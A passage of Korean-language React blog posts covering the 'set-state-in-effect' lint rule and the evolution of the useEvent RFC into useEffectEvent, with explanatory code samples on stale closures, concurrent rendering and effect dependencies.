또한 Concurrent Mode에서 발생할 수 있는 **Tearing(찢어짐)** 문제도 방지한다. 렌더링 도중 외부 스토어가 변경되면 UI의 다른 부분에서 다른 데이터가 보일 수 있는데, `useSyncExternalStore`는 이를 감지하고 일관된 데이터로 다시 렌더링한다.

## 실제 프로젝트에서 발견한 케이스들

내 블로그 프로젝트에서도 이 규칙에 걸리는 케이스들이 있었다. 각각 어떻게 대응할 수 있는지 살펴보자.

### 1. DOM 요소 조회 후 State 저장 (TableOfContents)

```jsx
useEffect(() => {
  const article = document.querySelector('article')
  const elements = article.querySelectorAll('h2, h3, h4')
  const items = Array.from(elements).map((el) => ({
    id: el.id,
    text: el.textContent || '',
    level: parseInt(el.tagName[1]),
  }))
  setHeadings(items)
}, [])
```

이 케이스는 **DOM 요소를 조회**한 결과를 저장하는 것이다. 렌더링 시점에는 DOM이 아직 존재하지 않기 때문에 Effect에서 처리할 수밖에 없다. 이런 경우는 **규칙의 예외**에 해당한다.

다만 현재 규칙은 이를 자동으로 구분하지 못하기 때문에 `eslint-disable` 주석으로 명시적으로 예외 처리하는 것이 적절하다.

```jsx
// eslint-disable-next-line react-hooks/set-state-in-effect
setHeadings(items)
```

### 2. 스크롤 이벤트 핸들러 (MobileTOC)

```jsx
useEffect(() => {
  const handleWindowScroll = () => {
    setShowScrollTop(window.scrollY > 50)
  }

  window.addEventListener('scroll', handleWindowScroll)
  return () => window.removeEventListener('scroll', handleWindowScroll)
}, [])
```

이 케이스는 **이벤트 핸들러 내에서** `setState`를 호출하는 것이다. 이는 Effect 안에서 동기적으로 호출하는 것이 아니라, 나중에 이벤트가 발생했을 때 비동기적으로 호출되는 것이므로 **규칙 위반이 아니다**.

### 3. sessionStorage에서 복원 + setMounted (InfiniteScrollList)

```jsx
useEffect(() => {
  const stored = getStoredState(storageKey)
  if (stored && stored.uniqueKey === uniqueKey) {
    setPosts(stored.posts)
  }
  setMounted(true)
}, [storageKey, uniqueKey])
```

이 코드에는 두 가지 동기적 setState가 있다.

**`setPosts(stored.posts)`**: 외부 저장소(sessionStorage)에서 데이터를 복원하는 것이다. 렌더링 시점에는 브라우저 API에 접근할 수 없으므로(SSR 환경) Effect에서 처리가 필요하다. `useSyncExternalStore`로 개선할 수 있다.

```jsx
const storedPosts = useSyncExternalStore(
  (callback) => {
    window.addEventListener('storage', callback)
    return () => window.removeEventListener('storage', callback)
  },
  () => {
    const stored = getStoredState(storageKey)
    return stored?.uniqueKey === uniqueKey ? stored.posts : initialPosts
  },
  () => initialPosts, // SSR fallback
)
```

**`setMounted(true)`**: 앞서 설명한 안티패턴이다. 상수값을 저장하는 것이므로 `useSyncExternalStore`나 `dynamic import`로 대체해야 한다.

### 4. 비동기 데이터 페칭 (CommandPalette)

```jsx
useEffect(() => {
  if (open && !dataLoaded) {
    fetch('/api/search')
      .then((res) => res.json())
      .then((data) => {
        setPosts(data.posts)
        setTags(data.tags)
        setDataLoaded(true)
      })
  }
}, [open, dataLoaded])
```

이 케이스는 **비동기 작업의 결과**를 저장하는 것이다. `fetch`가 완료된 후에 호출되므로 동기적인 `setState`가 아니다. 이 역시 **규칙 위반이 아니다**.

## Effect에서 setState가 허용되는 경우

정리하면, Effect 안에서 `setState`가 허용되는 경우는 다음과 같다.

1. **ref에서 읽은 값을 기반으로 할 때** (DOM 측정 등)
2. **비동기 작업의 결과를 저장할 때** (fetch, setTimeout 등)
3. **이벤트 핸들러 내에서 호출할 때** (addEventListener 콜백)
4. **외부 시스템과 동기화할 때** (브라우저 API, 구독 등)

핵심은 **렌더링 시점에는 알 수 없는 값**을 다룰 때만 Effect 안에서 `setState`를 사용해야 한다는 것이다.

## 규칙 활성화 방법

이 규칙을 사용하려면 `eslint-plugin-react-hooks` 6.1.0 이상이 필요하다.

```js
// eslint.config.js (Flat Config)
import reactHooks from 'eslint-plugin-react-hooks'

export default [
  reactHooks.configs.flat.recommended,
  {
    rules: {
      'react-hooks/set-state-in-effect': 'warn', // 또는 'error'
    },
  },
]
```

React Compiler의 모든 규칙을 활성화하려면 `recommended-latest` 설정을 사용할 수도 있다.

## 규칙의 한계

이 규칙이 완벽하지는 않다. GitHub에는 규칙이 **너무 엄격하다**는 이슈들이 올라와 있다.

### [#34743](https://github.com/facebook/react/issues/34743): 공식 문서와의 불일치

```jsx
useEffect(() => {
  setDidMount(true)
}, [])
```

이 패턴은 hydration 불일치를 피하기 위해 과거부터 널리 사용되어 왔고, 일부 문서에서는 아직도 이 방식을 소개하고 있다. 앞서 살펴본 것처럼 `useSyncExternalStore`가 더 나은 대안이지만, 기존 코드베이스에서 흔히 발견되는 패턴이라 마이그레이션 비용이 발생할 수 있다.

### [#34905](https://github.com/facebook/react/issues/34905): 비동기 함수 false positive

```jsx
const fetchData = useCallback(async () => {
  const response = await fetch('/api/data')
  setReady(true) // await 이후이므로 동기적 호출이 아님
}, [])

useEffect(() => {
  fetchData()
}, [fetchData])
```

`await` 이후에 호출되는 `setState`는 동기적 호출이 아니므로 cascading render 문제를 일으키지 않는다. 하지만 규칙은 이를 구분하지 못하고 경고를 띄운다.

React Compiler 팀은 이런 문제들을 인지하고 있다. 개선될지는 지켜봐야 할 것 같다.

## 핵심 원칙

> 기존 Props나 State에서 계산할 수 있다면, State에 넣지 마라. 렌더링 중에 계산하라.

이 원칙만 기억하면 대부분의 경우를 올바르게 처리할 수 있다. Effect는 외부 시스템과의 동기화를 위한 것이지, 내부 state 동기화를 위한 도구가 아니다.

## 마치며

`set-state-in-effect` 규칙이 경고를 띄웠다면, 먼저 "이 값을 정말 state로 관리해야 하는가?"를 자문해보자. 대부분의 경우 렌더링 중에 계산하거나, 아예 state를 제거하는 것이 정답이다.

다만 DOM 측정이나 외부 시스템 연동처럼 정말로 Effect에서 처리해야 하는 경우도 있다. 이런 경우에는 `eslint-disable` 주석과 함께 왜 예외가 필요한지 명시하는 것이 좋다.

## 참고

- [set-state-in-effect - React](https://react.dev/reference/eslint-plugin-react-hooks/lints/set-state-in-effect)
- [eslint-plugin-react-hooks - npm](https://www.npmjs.com/package/eslint-plugin-react-hooks)
- [React 19.2 - React](https://react.dev/blog/2025/10/01/react-19-2)
- [isMounted is an Antipattern - React Blog](https://legacy.reactjs.org/blog/2015/12/16/ismounted-antipattern.html)
- [Avoiding Hydration Mismatches with useSyncExternalStore - TkDodo](https://tkdodo.eu/blog/avoiding-hydration-mismatches-with-use-sync-external-store)
- [How useSyncExternalStore() works internally in React? - jser.dev](https://jser.dev/2023-08-02-usesyncexternalstore/)
- [React Compiler v1.0 - React](https://react.dev/blog/2025/10/07/react-compiler-1)
- [Rules of React - React](https://react.dev/reference/rules)

---

Source: https://yceffort.kr/2025/12/use-effect-event.md
Title: useEvent에서 useEffectEvent까지: React의 이벤트 핸들러 안정화 여정
Description: 3년 전 RFC가 드디어 빛을 보다
Date: 2025-12-15
Tags: react, typescript

## Table of Contents

## 서론: 3년 전 글을 다시 꺼내며

2022년 5월, 나는 [`useEvent`라는 리액트의 새로운 훅에 대한 글](/2022/05/useEvent)을 작성한 적이 있다. 당시 RFC(Request for Comments) 단계였던 이 훅은 리액트 개발자들 사이에서 꽤 화제가 되었다. 함수 재생성 문제와 클로저 문제를 동시에 해결할 수 있다는 점에서 많은 기대를 모았기 때문이다.

그리고 3년이 지난 지금, 이 훅은 `useEffectEvent`라는 이름으로 React 공식 문서에 등장했다. (아직 실험적 기능이지만) 이름이 바뀐 것에서 알 수 있듯이, 원래의 야심찬 목표에서 범위가 좀 줄어들었다. 왜 그렇게 되었는지, 그리고 현재 `useEffectEvent`는 어떻게 사용해야 하는지 자세히 살펴보자.

## 역사: useCallback의 과도한 무효화 문제

사실 이 문제는 Hooks가 처음 등장했을 때부터 제기되었다. 2018년 11월, Dan Abramov가 직접 [GitHub 이슈 #14099](https://github.com/facebook/react/issues/14099)를 열어 이 문제를 정리했다. 이슈 제목부터 문제의 핵심을 드러낸다: **"useCallback() invalidates too often in practice"**

> "You're trying not to invalidate a callback (e.g. to keep shallow equality below or to avoid re-subscriptions) but it depends on props or state that changes too often."
>
> — Dan Abramov

번역하면 "콜백을 무효화하지 않으려 하지만(얕은 동등성 유지나 재구독 방지), props나 state에 의존하면 너무 자주 무효화된다"는 것이다. 이 이슈는 많은 이모지와 댓글을 받으며, 많은 개발자들이 공감하는 문제임을 입증했다.

### useReducer와의 비교

흥미로운 점은 `useReducer`와의 비교다. 같은 기능을 `useReducer`와 `useCallback`으로 각각 구현해보자.

**useCallback으로 구현한 경우:**

```tsx
function Counter() {
  const [count, setCount] = useState(0)
  const [step, setStep] = useState(1)

  // step이 바뀔 때마다 increment 함수가 재생성된다
  const increment = useCallback(() => {
    setCount((c) => c + step)
  }, [step])

  return (
    <>
      <MemoizedButton onClick={increment}>+{step}</MemoizedButton>
      <input
        type="number"
        value={step}
        onChange={(e) => setStep(Number(e.target.value))}
      />
    </>
  )
}
```

`step`이 변경되면 `increment` 함수가 재생성되고, `MemoizedButton`의 메모이제이션이 무효화된다.

**useReducer로 구현한 경우:**

```tsx
function reducer(state, action) {
  switch (action.type) {
    case 'increment':
      return {...state, count: state.count + state.step}
    case 'setStep':
      return {...state, step: action.step}
    default:
      return state
  }
}

function Counter() {
  const [state, dispatch] = useReducer(reducer, {count: 0, step: 1})

  // dispatch는 컴포넌트 생애주기 동안 항상 동일한 참조!
  // step이 바뀌어도 dispatch는 재생성되지 않는다
  const increment = useCallback(() => {
    dispatch({type: 'increment'})
  }, []) // deps가 비어있어도 안전하다

  return (
    <>
      <MemoizedButton onClick={increment}>+{state.step}</MemoizedButton>
      <input
        type="number"
        value={state.step}
        onChange={(e) =>
          dispatch({type: 'setStep', step: Number(e.target.value)})
        }
      />
    </>
  )
}
```

`dispatch`는 컴포넌트가 마운트될 때 한 번 생성되고, 이후 절대 변경되지 않는다. 왜냐하면 리듀서 함수가 렌더 단계에서 직접 평가되어 최신 state에 접근하기 때문이다. `step`이 아무리 바뀌어도 `dispatch`의 identity는 유지되므로 `MemoizedButton`의 메모이제이션도 유지된다.

이 차이가 바로 문제의 근원이다. `useReducer`처럼 안정적인 identity를 가지면서도, `useCallback`처럼 간단하게 사용할 수 있는 방법이 필요했다.

### 커뮤니티의 해결책: useEventCallback

이 이슈에서 Sophie Alpert가 제안한 `useEventCallback` 패턴이 눈에 띈다:

```tsx
function useEventCallback(fn) {
  const ref = useRef()
  useLayoutEffect(() => {
    ref.current = fn
  })
  return useCallback(() => (0, ref.current)(), [])
}
```

이 패턴은 나중에 `useEvent` RFC의 기반이 되었다. 하지만 Dan Abramov는 이것을 기본 동작으로 만들지 않으려는 이유를 명확히 했다:

> "This might be an explicit solution but it's too easy to cause bugs with in Concurrent Mode."

동시 모드에서 버그를 유발하기 쉽다는 것이다. 왜 그럴까?

### 왜 Concurrent Mode에서 문제가 되는가?

React의 Concurrent Mode(동시 모드)에서는 렌더링이 **중단**되거나, **폐기**되거나, **여러 번 실행**될 수 있다. 이게 `useEventCallback` 패턴과 어떻게 충돌하는지 살펴보자.

```tsx
function useEventCallback(fn) {
  const ref = useRef()
  useLayoutEffect(() => {
    ref.current = fn // 커밋 단계에서 실행
  })
  return useCallback(() => (0, ref.current)(), [])
}
```

핵심은 `useLayoutEffect`가 **커밋 단계**에서 실행된다는 것이다. React의 렌더링 과정을 떠올려보자:

```mermaid
flowchart LR
    subgraph render["렌더 단계 (Render Phase)"]
        direction TB
        R1["컴포넌트 함수 실행"]
        R2["Virtual DOM 생성"]
        R3["중단/폐기 가능"]
    end

    subgraph commit["커밋 단계 (Commit Phase)"]
        direction TB
        C1["DOM 업데이트"]
        C2["useLayoutEffect 실행"]
        C3["useEffect 실행"]
    end

    render --> commit
```

**문제 시나리오 1: 렌더링 중 호출**

```tsx
function Component() {
  const [count, setCount] = useState(0)

  const getCount = useEventCallback(() => count)

  // 렌더링 중에 호출하면?
  const doubled = getCount() * 2 // ref.current는 아직 이전 값!

  return <div>{doubled}</div>
}
```

렌더 단계에서 `getCount()`를 호출하면, `useLayoutEffect`가 아직 실행되지 않았으므로 `ref.current`는 이전 렌더의 콜백을 가리킨다. 결과적으로 stale 값을 읽게 된다.

**문제 시나리오 2: 렌더링 중단과 재시작**

Concurrent Mode에서 React는 우선순위가 높은 업데이트가 들어오면 현재 렌더링을 중단하고 나중에 다시 시작할 수 있다.

```mermaid
sequenceDiagram
    participant A as 렌더 A
    participant B as 렌더 B
    participant Ref as ref.current

    A->>A: 렌더 시작
    Note over A: 중단됨 (높은 우선순위 업데이트)
    B->>B: 렌더 시작
    B->>B: 커밋
    B->>Ref: B의 콜백으로 업데이트
    A->>A: 재시작
    A->>Ref: 읽기 시도
    Note over A,Ref: A가 B의 콜백을 참조!
    A->>A: 커밋
```

이런 상황에서 렌더 A가 재시작될 때, `ref.current`는 이미 렌더 B의 콜백으로 업데이트되어 있다. 렌더 A 입장에서는 자신의 값이 아닌 다른 렌더의 값을 참조하게 되는 것이다.

**문제 시나리오 3: 렌더링 폐기**

```tsx
function SearchResults({query}) {
  const [results, setResults] = useState([])

  const handleResults = useEventCallback((data) => {
    // query를 사용하는 로직
    setResults(filterByQuery(data, query))
  })

  useEffect(() => {
    fetchData().then(handleResults)
  }, [])
}
```

사용자가 빠르게 `query`를 변경하면, React는 이전 렌더를 폐기하고 새 렌더를 시작할 수 있다. 하지만 이미 시작된 `fetchData()`의 콜백은 어떤 시점의 `query`를 참조할지 예측하기 어렵다.

이런 문제들 때문에 React 팀은 `useEffectEvent`에 "Effect 내에서만 호출 가능"이라는 제약을 두었다. Effect는 항상 커밋 단계 이후에 실행되므로, ref가 최신 값으로 업데이트된 후에만 호출되는 것이 보장된다.

이 경고는 3년 후 `useEffectEvent`의 제약사항으로 이어진다.

## 과거의 문제: 왜 useEvent가 필요했나?

[이전 글](/2022/05/useEvent)에서 다뤘던 내용을 간단히 요약해보자.

### 함수 재생성의 문제

리액트 컴포넌트에서 함수를 정의하면, 컴포넌트가 리렌더링될 때마다 함수가 새로 생성된다.

```tsx
function ChatInput({onSend}) {
  const [text, setText] = useState('')

  // text가 변경될 때마다 sendMessage도 새로운 함수 인스턴스가 된다
  function sendMessage() {
    onSend(text)
  }

  return (
    <>
      <input value={text} onChange={(e) => setText(e.target.value)} />
      <button onClick={sendMessage}>Send</button>
    </>
  )
}
```

이 문제를 해결하기 위해 `useCallback`을 사용하지만, 이것도 완벽하지 않다.

### useCallback의 딜레마

```tsx
function ChatInput({ onSend }) {
  const [text, setText] = useState('')

  // deps에 text가 있으므로, text가 바뀌면 여전히 함수가 재생성된다
  const sendMessage = useCallback(() => {
    onSend(text)
  }, [text, onSend])

  return (
    // ...
  )
}
```

`useCallback`의 deps 배열에 `text`를 넣으면 `text`가 변경될 때마다 함수가 재생성된다. 그렇다고 deps에서 `text`를 빼면?

```tsx
// 절대 이렇게 하면 안 된다!
const sendMessage = useCallback(() => {
  onSend(text) // 항상 초기값인 ''만 참조하게 된다
}, [])
```

**stale closure**(오래된 클로저) 문제가 발생한다. `text`는 항상 컴포넌트 마운트 시점의 값(빈 문자열)만 참조하게 된다.

### Stale Closure란 무엇인가?

잠깐, stale closure가 뭔지 짚고 넘어가자. JavaScript의 클로저는 함수가 생성될 때의 스코프를 "기억"한다. 문제는 이 "기억"이 너무 오래 유지될 때 발생한다.

```tsx
function Counter() {
  const [count, setCount] = useState(0)

  useEffect(() => {
    const id = setInterval(() => {
      console.log(count) // 항상 0만 출력된다!
    }, 1000)
    return () => clearInterval(id)
  }, []) // deps가 비어있으면 이 함수는 마운트 시점에만 생성됨
}
```

위 코드에서 `setInterval` 콜백은 컴포넌트가 마운트될 때 한 번만 생성된다. 이 함수의 클로저는 `count`가 0일 때의 스코프를 캡처했다. 이후 `count`가 아무리 변경되어도, 이 콜백은 여전히 처음 캡처한 `count = 0`만 참조한다. 마치 오래된(stale) 사진을 보고 있는 것처럼.

이걸 해결하려면 deps에 `count`를 추가해야 한다:

```tsx
useEffect(() => {
  const id = setInterval(() => {
    console.log(count) // 이제 최신 count를 출력
  }, 1000)
  return () => clearInterval(id)
}, [count]) // count가 바뀔 때마다 인터벌을 재설정
```

하지만 이러면 `count`가 바뀔 때마다 인터벌이 끊기고 다시 시작된다. 이게 바로 딜레마다: **"최신 값을 참조하면서도 함수는 재생성하고 싶지 않다"** 는 상충되는 요구.

이것이 바로 리액트 개발자들이 오랫동안 고민해왔던 문제다. "함수의 identity는 유지하면서, 최신 state/props에는 접근하고 싶다"는 상충되는 요구사항을 해결할 방법이 필요했다.

## useEvent RFC의 등장

2022년, React 팀은 드디어 공식적인 해결책을 제안했다. [RFC: useEvent](https://github.com/reactjs/rfcs/blob/useevent/text/0000-useevent.md)가 그것이다. RFC 문서의 동기(Motivation) 섹션을 살펴보면, 두 가지 핵심 문제를 해결하려 했음을 알 수 있다:

### RFC가 해결하려던 두 가지 문제

**1. 이벤트 핸들러가 메모이제이션을 깨뜨리는 문제**

```tsx
function Chat({selectedRoom}) {
  const [message, setMessage] = useState('')

  // message가 바뀔 때마다 새 함수 생성
  const onClick = () => {
    sendMessage(selectedRoom, message)
  }

  // React.memo로 감싸도 onClick이 계속 바뀌니까 의미 없음
  return <MemoizedButton onClick={onClick}>Send</MemoizedButton>
}
```

매 렌더링마다 새 함수가 생성되어 `React.memo`로 감싼 자식 컴포넌트의 메모이제이션을 무효화한다.

**2. 이벤트 핸들러가 Effect의 불필요한 재실행을 유발하는 문제**

```tsx
function Chat({selectedRoom, theme}) {
  // theme이 바뀔 때마다 onConnected도 새로 생성
  const onConnected = useCallback(() => {
    showNotification(theme, 'Connected!')
  }, [theme])

  useEffect(() => {
    const socket = createSocket(selectedRoom)
    socket.on('connected', onConnected)
    socket.connect()
    return () => socket.disconnect()
  }, [selectedRoom, onConnected]) // onConnected가 바뀌면 소켓 재연결!
}
```

`theme`이 바뀌면 `onConnected`가 재생성되고, 그로 인해 소켓 연결이 끊겼다가 다시 연결된다. 실제로는 `theme`이 변경되어도 재연결이 필요 없는데 말이다.

### RFC가 제안한 해결책

RFC는 `useEvent` 훅을 제안했다. 핵심 아이디어는 다음과 같았다:

```tsx
function ChatInput({onSend}) {
  const [text, setText] = useState('')

  // useEvent: deps가 없어도 항상 최신 text에 접근 가능!
  const sendMessage = useEvent(() => {
    onSend(text)
  })

  // sendMessage의 identity는 항상 동일하다
  return (
    <>
      <input value={text} onChange={(e) => setText(e.target.value)} />
      <button onClick={sendMessage}>Send</button>
    </>
  )
}
```

`useEvent`는 세 가지를 동시에 만족시키려 했다:

1. **deps 배열이 없다** - 의존성을 관리할 필요가 없다
2. **함수 identity가 안정적이다** - 리렌더링에도 동일한 함수 참조를 유지한다
3. **항상 최신 값에 접근한다** - stale closure 문제가 없다

### 내부 구현 원리

당시 RFC에서 제안된 구현 방식은 대략 이랬다:

```tsx
function useEvent<T extends Function>(callback: T): T {
  const callbackRef = useRef<T>(callback)

  // 매 렌더링마다 최신 콜백을 ref에 저장
  useLayoutEffect(() => {
    callbackRef.current = callback
  })

  // 항상 동일한 함수 참조를 반환, 호출 시 최신 콜백 실행
  return useCallback((...args: unknown[]) => {
    return callbackRef.current?.(...args)
  }, []) as T
}
```

`useRef`로 최신 콜백을 저장하고, `useLayoutEffect`로 매 렌더링마다 업데이트한다. 반환하는 함수는 `useCallback`으로 감싸서 identity를 유지하되, 실제 호출 시에는 ref에 저장된 최신 콜백을 실행하는 방식이다.

### 실무에서 직접 구현해 쓰던 useEvent

RFC가 나왔을 때 많은 개발자들이 이 훅을 직접 구현해서 사용했다. 실제 내가 일하면서 만든 `useEvent` 훅 구현은 다음과 같다.

먼저 `useIsomorphicLayoutEffect`부터 살펴보자. 이 훅은 SSR 환경에서 `useLayoutEffect`가 발생시키는 경고를 피하기 위한 것이다:

```tsx
// useIsomorphicLayoutEffect.ts
import {useEffect, useLayoutEffect} from 'react'

// 서버에서는 useEffect, 클라이언트에서는 useLayoutEffect 사용
const useIsomorphicLayoutEffect =
  typeof window !== 'undefined' ? useLayoutEffect : useEffect

export default useIsomorphicLayoutEffect
```

서버 사이드에서 `useLayoutEffect`를 사용하면 React가 경고를 뱉는다. `useLayoutEffect`는 DOM 조작을 위한 훅인데, 서버에는 DOM이 없기 때문이다. 그래서 환경에 따라 적절한 훅을 선택하는 것이다.

이제 `useEvent` 구현을 보자:

```tsx
import {useMemo, useRef} from 'react'
import useIsomorphicLayoutEffect from './useIsomorphicLayoutEffect'

type CallbackFunction<ARGS extends unknown[], R> = (...args: ARGS) => R

const useEvent = <Arg extends unknown[], Return>(
  fn: CallbackFunction<Arg, Return>,
): CallbackFunction<Arg, Return> => {
  const ref = useRef<CallbackFunction<Arg, Return>>(fn)

  useIsomorphicLayoutEffect(() => {
    ref.current = fn
  })

  return useMemo(
    () =>
      (...args: Arg): Return => {
        const {current} = ref
        return current(...args)
      },
    [],
  )
}

export default useEvent
```

RFC의 개념적 구현과 거의 동일하다. 몇 가지 포인트를 살펴보자:

1. **`useIsomorphicLayoutEffect`**: SSR 환경에서도 안전하게 동작하도록 `useLayoutEffect`와 `useEffect`를 환경에 따라 선택한다. (서버에서는 `useLayoutEffect`가 경고를 발생시키기 때문)

2. **`useMemo` vs `useCallback`**: `useCallback`대신 `useMemo`를 사용했다. 사실 `useCallback(fn, deps)`는 `useMemo(() => fn, deps)`와 동일하므로 결과는 같다.

3. **타입 안전성**: 제네릭을 사용해서 인자와 반환값의 타입을 보존한다.

이 구현은 잘 동작하지만, 앞서 언급한 문제들(렌더링 중 호출, Concurrent Mode 등)에 취약하다. 그래서 React 팀이 공식 API를 제공하는 게 중요한 것이다.

### RFC에서 제시한 주의사항

RFC는 `useEvent`를 사용하면 안 되는 경우도 명확히 했다:

**1. 렌더링 중에 호출되는 함수는 여전히 `useCallback` 사용**

```tsx
function Component({items}) {
  // 렌더링 중에 호출되는 함수는 useEvent가 아닌 useCallback 사용
  const sortedItems = useMemo(() => {
    return items.sort(compareFn)
  }, [items, compareFn])
}
```

**2. 모든 Effect 의존성이 Event는 아니다**

Effect의 의존성 배열에 있는 함수라고 해서 모두 event로 바꿔야 하는 건 아니다. 어떤 값의 변경이 Effect를 다시 실행해야 하는지 판단이 필요하다.

**3. Effect에서 추출한 모든 함수가 Event는 아니다**

Effect 내부의 보조 함수가 Effect의 reactive 로직 일부라면, 그건 event가 아니다.

## 그런데 왜 useEffectEvent가 되었나?

RFC 논의 과정에서 몇 가지 문제가 제기되었다.

### 1. 렌더링 중 호출 문제

`useEvent`로 만든 함수를 렌더링 도중 호출하면 어떻게 될까?

```tsx
function Component() {
  const [count, setCount] = useState(0)

  const getCount = useEvent(() => count)

  // 이렇게 렌더링 중에 호출하면?
  const doubled = getCount() * 2 // 문제 발생!

  return <div>{doubled}</div>
}
```

`useEvent`의 내부 구현을 보면, ref 업데이트가 `useLayoutEffect`에서 일어난다. 즉, 렌더링이 완료된 후에 최신 콜백이 저장된다. 따라서 렌더링 도중에 호출하면 이전 렌더의 값을 참조할 수 있다.

### 2. 범용적 사용에 대한 우려

원래 `useEvent`는 이벤트 핸들러뿐만 아니라 어디서든 사용할 수 있는 범용 훅으로 설계되었다. 하지만 이렇게 범용적으로 사용하면:

- 렌더링 로직에서 호출되는 경우를 막기 어렵다
- Effect의 의존성을 우회하는 용도로 남용될 수 있다
- 디버깅이 어려워질 수 있다

### 3. 이름의 모호함

"Event"라는 이름이 DOM 이벤트와 혼동될 수 있다는 의견도 있었다.

## useEffectEvent: 범위를 좁힌 해결책

이러한 논의 끝에, React 팀은 범위를 좁혀서 `useEffectEvent`라는 이름으로 훅을 도입했다. 핵심적인 변화는 **"Effect 내에서만 호출 가능"** 하다는 제약이다.

### 기본 문법

```tsx
import {useEffectEvent} from 'react'

const onSomething = useEffectEvent((param) => {
  // 최신 props/state에 접근 가능
  doSomethingWith(param, latestValue)
})
```

### 핵심 사용 사례: Effect에서 비반응형 로직 분리

`useEffectEvent`의 가장 중요한 사용 사례를 살펴보자.

```tsx
function ChatRoom({roomId, theme}) {
  useEffect(() => {
    const connection = createConnection(serverUrl, roomId)

    connection.on('connected', () => {
      // theme이 변경되어도 이 Effect가 재실행되길 원하지 않는다!
      showNotification('연결됨!', theme)
    })

    connection.connect()
    return () => connection.disconnect()
  }, [roomId, theme]) // theme이 deps에 있어서 문제다
}
```

위 코드의 문제는 `theme`이 변경될 때마다 소켓 연결이 끊겼다가 다시 연결된다는 것이다. `theme`은 알림을 표시할 때만 필요하지, 연결 자체와는 관련이 없는데 말이다.

`useEffectEvent`로 해결할 수 있다:

```tsx
function ChatRoom({roomId, theme}) {
  const onConnected = useEffectEvent(() => {
    showNotification('연결됨!', theme)
  })

  useEffect(() => {
    const connection = createConnection(serverUrl, roomId)

    connection.on('connected', () => {
      onConnected() // theme이 deps에서 사라졌다!
    })

    connection.connect()
    return () => connection.disconnect()
  }, [roomId]) // theme 제거
}
```

`onConnected`는 "Effect Event"다. Effect 내부에서 호출되지만, Effect의 반응성에는 영향을 주지 않는다. 마치 Effect 내부의 비반응형 코드 조각처럼 동작한다.

### 또 다른 예시: 페이지 방문 로깅

```tsx
function Page({url}) {
  const {items} = useContext(ShoppingCartContext)
  const numberOfItems = items.length

  useEffect(() => {
    logVisit(url, numberOfItems)
  }, [url, numberOfItems]) // numberOfItems가 변경될 때마다 로깅?
}
```

위 코드에서 `numberOfItems`가 변경될 때마다 페이지 방문이 로깅된다. 하지만 실제로 원하는 것은 "URL이 바뀔 때만 방문을 기록하되, 현재 장바구니 아이템 수도 함께 기록하고 싶다"이다.

```tsx
function Page({url}) {
  const {items} = useContext(ShoppingCartContext)
  const numberOfItems = items.length

  const onVisit = useEffectEvent((visitedUrl) => {
    logVisit(visitedUrl, numberOfItems)
  })

  useEffect(() => {
    onVisit(url)
  }, [url]) // url이 변경될 때만 실행!
}
```

`onVisit`은 `numberOfItems`를 읽지만, `numberOfItems`의 변경이 Effect를 재실행시키지는 않는다.

## useEffectEvent의 제약사항

공식 문서에서 명시하는 중요한 제약사항들이 있다.

### 1. Effect 내에서만 호출 가능

```tsx
function ChatRoom({roomId}) {
  const onConnected = useEffectEvent(() => {
    // ...
  })

  useEffect(() => {
    onConnected() // OK
  }, [roomId])

  return (
    <button onClick={onConnected}>클릭</button> // 이렇게 하면 안 된다!
  )
}
```

Effect Event는 Effect의 "비반응형 코드 조각"이다. 이벤트 핸들러처럼 아무 데서나 호출할 수 있는 함수가 아니라, 반드시 Effect 내부에서만 호출되어야 한다.

### 2. 다른 컴포넌트나 Hook으로 전달 금지

```tsx
function Timer() {
  const onTick = useEffectEvent(() => {
    // ...
  })

  useTimer(onTick, 1000) // 다른 Hook으로 전달하면 안 된다!
}
```

### 3. 의존성 린터 우회 용도로 남용 금지

가장 중요한 주의사항이다. `useEffectEvent`는 의존성을 "숨기는" 도구가 아니다.

```tsx
// 잘못된 사용
function SearchResults({query}) {
  const onResults = useEffectEvent((results) => {
    setResults(results)
  })

  useEffect(() => {
    fetchResults(query).then(onResults)
  }, []) // query를 deps에서 빼려고 useEffectEvent를 쓰면 안 된다!
}
```

올바른 접근:

```tsx
// 올바른 사용
function SearchResults({query}) {
  useEffect(() => {
    fetchResults(query).then((results) => {
      setResults(results)
    })
  }, [query]) // query가 바뀌면 다시 검색해야 하므로 deps에 있어야 한다
}
```

핵심은 **"이 값이 바뀌면 Effect가 다시 실행되어야 하는가?"** 를 기준으로 판단하는 것이다.

| 상황                                         | 처리 방법               |
| -------------------------------------------- | ----------------------- |
| 값이 바뀌면 Effect를 다시 실행해야 함        | 의존성 배열에 포함      |
| 값이 바뀌어도 Effect를 다시 실행할 필요 없음 | `useEffectEvent`로 분리 |

## useEffectEvent vs useCallback 비교

| 특성                 | useCallback             | useEffectEvent     |
| -------------------- | ----------------------- | ------------------ |
| 의존성 배열          | 필요함                  | 없음               |
| 함수 identity 안정성 | deps가 바뀌면 변경됨    | 항상 안정적        |
| 최신 값 접근         | deps에 포함된 값만 최신 | 항상 최신          |
| 사용 위치            | 어디서든 가능           | Effect 내에서만    |
| 상태                 | 안정적 API              | 정식 API (19.2.0+) |

## 왜 3년이나 걸렸나?

2022년 5월 RFC가 나왔는데, 왜 2025년 10월에야 정식 출시되었을까? 타임라인을 정리해보면 이유가 보인다.

| 시점            | 이벤트                                                                                        |
| --------------- | --------------------------------------------------------------------------------------------- |
| 2022년 5월      | [useEvent RFC](https://github.com/reactjs/rfcs/pull/220) 제안                                 |
| 2022년 9월-12월 | experimental 구현, [useEffectEvent로 이름 변경](https://github.com/facebook/react/pull/25881) |
| 2022년 12월     | 원래 RFC 폐기 ("That RFC is defunct")                                                         |
| 2023년          | React 19 개발 중 (RSC, Compiler 등에 집중)                                                    |
| 2024년 4월      | React 19 beta                                                                                 |
| 2024년 12월     | React 19 stable                                                                               |
| 2025년 10월     | React 19.2에서 useEffectEvent 정식 출시                                                       |

두 가지 요인이 있었던 걸로 추측해볼 수 있다:

1. **원래 RFC가 폐기되고 범위가 축소됨**: [PR #25881](https://github.com/facebook/react/pull/25881)에서 sebmarkbage는 "That RFC is defunct. This is different."라고 말했다. 범용적인 `useEvent`에서 Effect 전용 `useEffectEvent`로 방향이 완전히 바뀌었다.

2. **React 19 자체가 2년 넘게 걸림**: React 18.2.0(2022년 6월)에서 React 19(2024년 12월)까지 약 2년 반이 걸렸다. React Server Components, React Compiler 등 대규모 작업에 집중하느라 메이저 버전 출시가 늦어졌고, `useEffectEvent`는 experimental 상태로 대기해야 했다.

## 현재 상태와 사용 방법

2025년 10월, [React 19.2.0](https://github.com/facebook/react/releases/tag/v19.2.0)에서 `useEffectEvent`가 드디어 **정식 API**로 출시되었다.

```tsx
import {useEffectEvent} from 'react'

const onSomething = useEffectEvent((param) => {
